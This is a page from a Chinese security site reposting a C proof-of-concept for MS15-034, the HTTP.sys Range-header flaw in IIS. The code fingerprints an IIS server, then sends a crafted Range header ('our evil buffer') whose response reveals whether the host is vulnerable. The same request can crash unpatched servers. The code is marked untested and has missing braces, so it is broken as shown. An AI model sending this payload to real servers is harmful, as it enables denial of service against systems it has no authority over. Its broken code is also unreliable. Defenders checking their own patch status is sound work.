首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Window - HTTP.sys PoC (MS15-034)
来源:john.b.hale@gmai.com 作者:rhcp011235 发布时间:2015-04-16  
/*
 UNTESTED - MS15-034 Checker
     
 THE BUG:
   
    8a8b2112 56              push    esi
    8a8b2113 6a00            push    0
    8a8b2115 2bc7            sub     eax,edi
    8a8b2117 6a01            push    1
    8a8b2119 1bca            sbb     ecx,edx
    8a8b211b 51              push    ecx
    8a8b211c 50              push    eax
    8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here
   
   
    BY: john.b.hale@gmai.com
    Twitter: @rhcp011235
*/
   
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 
   
int connect_to_server(char *ip)
{
    int sockfd = 0, n = 0;
   
     struct sockaddr_in serv_addr;
     struct hostent *server;
   
    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
            printf("\n Error : Could not create socket \n");
            return 1;
        }
   
    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(80);
    if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
        {
            printf("\n inet_pton error occured\n");
            return 1;
        }
    if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
        {
            printf("\n Error : Connect Failed \n");
            return 1;
        
   
    return sockfd;
}
       
   
int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];
   
    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";
   
    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
   
   
    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    
   
    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
   
    if (!strstr(recvBuff,"Microsoft"))
    {
        printf("[*] NOT IIS\n");
        exit(1);
    }
   
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
    printf("[*] Looks Patched");
} else
    printf("[*] Unexpected response, cannot discern patch status");
       
   
           
   
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Abrt / Apport Race Condition /
·MS Windows (HTTP.sys) HTTP Req
·Fedora abrt Race Condition Exp
·D-Link/TRENDnet NCC Service Co
·Apport/Abrt Local Root Exploit
·Oracle Hyperion Smart View for
·Samsung iPOLiS ReadConfigValue
·Mac OS X Local Denial Of Servi
·Internet Download Manager 6.xx
·Lychee 2.7.1 Remote Code Execu
·JBoss AS versions 3/4/5/6 - Re
·WordPress Work The Flow Upload
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved